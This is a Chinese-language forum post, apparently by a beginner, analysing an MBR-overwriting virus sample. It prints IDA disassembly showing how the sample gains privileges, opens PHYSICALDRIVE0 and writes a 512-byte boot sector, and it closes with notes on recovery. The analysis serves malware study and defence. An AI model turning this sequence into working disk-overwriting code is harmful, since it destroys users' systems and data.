1 MBR病毒樣本分析
1.1 基本信息
樣本類型:MBR感染樣本
大。36864 字節 36KB
MD5:955b66c722ca993dd11fbe56bbf92525
殼種類:無殼
編譯器信息:VC++6.0
簡介:該樣本是一個修改MBR的病毒。
感染癥狀:感染該病毒后,剛開始并不會發現有什么異常情況,但是當你重啟電腦后,你就會發現電腦啟動停留在一個黑色界面,
帶著惡意文字,在WIN7虛擬機中運行過后重啟系統的結果,感染后重啟電腦如圖4-1所示
圖4-1感染病毒效果圖
文件變化:無
注冊表變化:無
網絡行為:無
1.2 詳細分析
(1)首先總體看一下病毒程序布局
將病毒文件載入IDA,首先觀察IDA 的Functions window 界面,如圖4-2所示:
圖4-2 IDA FunctionWindow圖
因為該病毒文件是采用VC++6.0編譯的,看到main函數,就試著點開看一下,雙擊main函數后,在IDA中看到如下匯編代碼,
該段介紹的是該病毒程序的主函數,包含兩個子模塊:
[C++] 純文本查看 復制代碼
1
2
3
4
5
6
7
8
|
int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_401000
add esp, 8
jmp sub_401090
_main endp
|
(2)模塊一分析
匯編語言函數是以:函數名 proc(參數列表) 這樣的格式,由此看出此函數有可能是病毒程序的主函數,
push offset aSedebugprivile; "SeDebugPrivilege";
這句匯編代碼后面提示此處壓棧的字符是“SeDebugPrivilege”,這是Windows的字符權限名稱,一般用在進程提權中使用,
然后看下面三句匯編代碼:
[Asm] 純文本查看 復制代碼
1
2
3
|
push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_4010002.
|
首先將兩個值壓棧,其中一個值還與進程提權有關,下面一個call,指向了另一個位置,想到這里,
這個call里面的操作估計與進程提權相關,在IDA中雙擊call跟進,查看call的內容,為了直觀這里切換到IDA 的Graph view,雙擊call出現的內容,如圖4-3:
圖4-3 IDA call sub_401000 Graph View圖
進入這個界面,該從哪里才下手呢,剛才分析,這個call所做的操作與進程提權相關,要想提升一個進程的權限,那么首先要做的第一步是得到當前進程的句柄,查看call進來的匯編代碼發現一個API GetCurrentProcess,這個API是獲取當前進程的句柄的,這就正確了,設想是正確的,就從這里下手,如下匯編代碼,主要介紹兩個進程提權的API函數GetCurrentProcess和OpenProcessToken
[Asm] 純文本查看 復制代碼
1
2
3
4
5
6
7
8
9
|
push esi
push eax ; TokenHandle
push 28h ; DesiredAccess
mov esi, 1
call ds:GetCurrentProcess
push eax ; ProcessHandle
call ds:OpenProcessToken
test eax, eax
jnz short loc_401028
|
上面匯編代碼,就是兩個函數,第一個先將三個參數壓棧,調用GetCurrentProcess函數獲取當前進程句柄,隨后將句柄返回寄存器eax(匯編語言的函數返回值默認存儲在寄存器eax中),隨后call ds:OpenProcessToken 調用OpenProcessToken函數,獲取進程令牌句柄,并將返回值保存在eax中。test eax, eaxjnz short loc_401028這兩條語句,先test eax,eax會改變標志位ZF,使ZF不等于1,jnz表示標志位ZF不等于1時,跳轉,因此此處跳轉到shortloc_401028處。在圖4-3中右下角那一個模塊中,下邊看一下匯編代碼,主要功能修改進程權限
[Asm] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
loc_401028:
mov ecx, [esp+18h+arg_4]
mov eax, [esp+18h+lpName]
neg ecx
lea edx, [esp+18h+NewState.Privileges]
mov [esp+18h+NewState.PrivilegeCount], esi
sbb ecx, ecx
push edx ; lpLuid
and ecx, 2
push eax ; lpName
push 0 ; lpSystemName
mov [esp+24h+NewState.Privileges.Attributes], ecx
call ds:LookupPrivilegeValueA
mov edx, [esp+18h+hObject]
push 0 ; ReturnLength
push 0 ; PreviousState
lea ecx, [esp+20h+NewState]
push 10h ; BufferLength
push ecx ; NewState
push 0 ; DisableAllPrivileges
push edx ; TokenHandle
call ds:AdjustTokenPrivileges
call ds:GetLastError
test eax, eax
|
在前邊敘述中,已經獲取當前進程的進程令牌,根據提升進程權限的操作,下一步要做的操作就是要查詢進程的權限。簡單分析之后,看一下上邊代碼,其中兩個關鍵的call是需要注意的:call ds:LookupPrivilegeValueA這個API函數就是查詢進程權限的,與提升進程權限的步驟完全一致,根據VC++函數壓棧的順序第一個參數到第三個參數的壓入順序就是:push 0 ; lpSystemNamepush eax ; lpNamepush edx ; lpLuid然后call,直接調用該函數,這是第一個call call ds:AdjustTokenPrivileges通過查看進程的權限,判斷進程是否可以對磁盤進行寫操作,如果沒有,則查找相關權限的LUID,賦予該進程相應權限,具體不再贅述。
(3)模塊2分析
前面模塊一中介紹的是進程提權部分,也就是main中的第一個關鍵點call sub_401000,下面來看一下main中第二個關鍵點:
[Asm] 純文本查看 復制代碼
1
2
|
add esp, 8
jmp sub_401090
|
在第一個call sub_401000這個子模塊中,一共兩個參數壓棧
[Asm] 純文本查看 復制代碼
1
2
|
push 1 ; int
push offset aSedebugprivile ; "SeDebugPrivilege"
|
在函數結束時,需要將堆棧還原,32位的兩個參數正好8個字節,因此Add esp,8, 讓棧頂指針增加8字節,棧在開辟儲存空間是向下增長的。堆棧平衡以后,程序直接無條件跳轉到 sub_401090處,在IDA中直接雙擊,切換到 sub_401090處,為了看著比較直觀,先來看一下整體視圖,如圖4-4,4-5所示:
圖4-4 IDA sub_401090 處代碼圖
圖4-5 IDA檢測寫入數據圖
通過對main中第一個call模塊進行分析,病毒程序已經提升進程權限,對于下一步,估計會對硬盤進行寫入操作。剛切換到sub_401090位置,并不知道到程序會怎么做,大致瀏覽一下代碼,會發現\\\\.\\PHYSICALDRIVE0字樣,這也說明不了什么,只能說明有可能是想獲取本地磁盤的信息,但是下面還有所發現,看如下幾行代碼,主要介紹CreateFileA函數
[Asm] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
push 0 ; hTemplateFile 參數7
rep stosd
stosw
push 0 ; dwFlagsAndAttributes 參數6
push 3 ; dwCreationDisposition 參數5
stosb
push 0 ; lpSecurityAttributes 參數4
mov ecx, 0Ch
mov esi, offset unk_406030
lea edi, [esp+220h+Buffer]
push 3 ; dwShareMode 參數3
push 0C0000000h ; dwDesiredAccess 參數2
rep movsd
push offset FileName ; \\\\.\\PHYSICALDRIVE0 參數1
mov [esp+22Ch+var_2], 55h
mov [esp+22Ch+var_1], 0AAh
call ds:CreateFileA
|
調用函數55h 0AAh 這個對磁盤主引導區比較熟悉的應該知道,這是磁盤主引導扇區(MBR)的結束表示,一般是第一扇區的511和512字節處,就像PE文件頭的標識00004550一樣,以上匯編代碼中,其實只是實現了一個功能就是在磁盤下創建文件,從參數7到參數1是CreateFileA函數的7個參數,順序也按照調用順序進行排列,具體參數就不再細說了,調用CreateFileA函數取得設備句柄(這個設備句柄后面會用到),通過對返回值進行檢測,判斷函數是否成功,成功的話進行進一步操作,如下匯編代碼:
[Asm] 純文本查看 復制代碼
1
2
3
|
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4010F4
|
這里將函數的返回值儲存在esi中,也就是設備的句柄,具體有什么用處,繼續往后邊分析。一個jnz條件跳轉指明了一個方向,對于這個跳轉與否,在IDA中有兩個方向,如圖4-6所示:
圖4-6 IDA jnz short loc_4010F4 解釋圖
如果文件創建成功則跳轉至loc_4010F4處,否則執行另一塊操作,此時為了清晰地看一下程序的運行細節,將病毒程序載入到OD中,如圖4-7所示,
進行分析。
圖4-7 OD jnz short loc_4010F4 解釋圖
載入OD后,ALT+C到CPU界面,右鍵查看所有字符串參考,跟以前的分析,直接雙擊所查找出來的\\\\.\\PHYSICALDRIVE0字符,雙擊進入如圖4-雙擊進入如圖4-7的界面,然后看到CreateFile函數,在call該函數的前后下斷,下軟件斷點就可以了,然后F9,讓程序運行至第一個斷點處,如圖4-7紅色004010D4處,然后F8單步往下走(不要F7,F7進入函數體內沒有其它需要的信息,這里就不截圖展示了),此時主義觀擦右上角寄存器信息,注意ESI和EAX如圖4-7右上角紅色方框處,F8逐步將程序運行至004010E7處,可以先看ZF標志位(OD中以字母Z在右上角顯示),此時也可以看到圖4-7左下角出現"跳轉已實現"字樣,程序已經跳轉至loc_4010F4處,此時留意ESI和EAX兩個寄存器,此時它們的值是44h,它代表取得設備句柄成功。其實在創建設備句柄之前,要寫入MBR的字符數據已經可以在內存中查到,如下代碼:
[C++] 純文本查看 復制代碼
1
2
3
|
mov ecx, 0Ch
mov esi, offset unk_406030
lea edi, [esp+220h+Buffer]
|
觀察上邊代碼,[esp+220h+Buffer]這個地址開始的數據后來被檢測到包含MBR引導扇區的結束標志55H AAH,如下代碼:
[Asm] 純文本查看 復制代碼
1
2
|
mov [esp+22Ch+var_2], 55h
mov [esp+22Ch+var_1], 0AAh
|
因此在內存中轉到406030這個位置,查看數據,如圖4-8所示。此時再把視線回歸到IDA中如圖4-3所示,既然程序跳轉到loc_4010F4處,下面具來分析一下loc_4010F4處的代碼,來了解病毒程序下面如何操作,上面通過CreateFile取得文件設備句柄,并將設備句柄存取到ESI中,然后進一步操作,如下代碼:
[Asm] 純文本查看 復制代碼
1
2
3
4
5
6
7
8
|
lea ecx, [esp+210h+NumberOfBytesWritten]
push 0 ; lpOverlapped
push ecx ; lpNumberOfBytesWritten
lea edx, [esp+218h+Buffer]
push 200h ; nNumberOfBytesToWrite 寫入數據位512字節
push edx ; lpBuffer
push esi ; hFile
call ds:WriteFile
|
調用WriteFile函數,將512字節的 數據寫入hFile(即CreateFile創建的文件中)中,下面利用DeviceIoControl與設備進行I/O,上面已經創建好的設備句柄保存在ESI中,詳細如下代碼:
[Asm] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
|
lea eax, [esp+210h+BytesReturned] ;數據所在位置
push 0 ; lpOverlappedpush eax ; lpBytesReturned 驅動程序實際返回給應用程序的數據字節數地址
push 0 ; nOutBufferSize
push 0 ; lpOutBuffer
push 0 ; nInBufferSize
push 0 ; lpInBuffer
push 9001Ch ; dwIoControlCode I/O和文件系統數據緩沖區進行數據傳遞的方式
push esi ; hDevice 設備句柄
call edi ; DeviceIoControl
push esi ; hObject
call ds:CloseHandle[esp+210h+BytesReturned] ;表示數據所在位置,上面參數有相關解釋,通過DeviceIoControl將數據通過驅動程序寫入設備,最后關閉設備句柄
push esi ; hObject
call ds:CloseHandle
|
圖4-8 IDA 406030 處16進制數據數據查詢圖
(4)利用WinHex提取出被感染后的MBR數據
該工具里面的工具欄里面提供有打開磁盤文件擴展,可以選擇以16進制或者10進制顯示,如圖4-9是正常情況下的MBR的內容:
圖4-9 WinHex打開磁盤扇區文件圖打開之后會顯示如界面,選擇物理驅動器,如圖4-10所示:
圖4-10 WinHex選擇操作物理驅動器圖
打開磁盤文件后,選中磁盤的第一個扇區,即MBR,右鍵->復制模塊->置入新文件保存起來,如圖4-11所示:
圖
4-11
WinHex
保存磁盤扇區文件圖
1.1 病毒的修復如果在分析之前對MBR有備份,這樣可以容易處理一些,有一款工具叫MBRTool,可以對MBR進行簡單的備份和恢復:
說明:因為本人在此領域還是新手,此次分析是在看到willJ 大大 http://www.52pojie.cn/thread-188123-1-1.html 發的一篇分析文章后決定自己嘗試一下,因為個人技術太少,剛涉足此方向,新手上路,望各位大大給予指點 |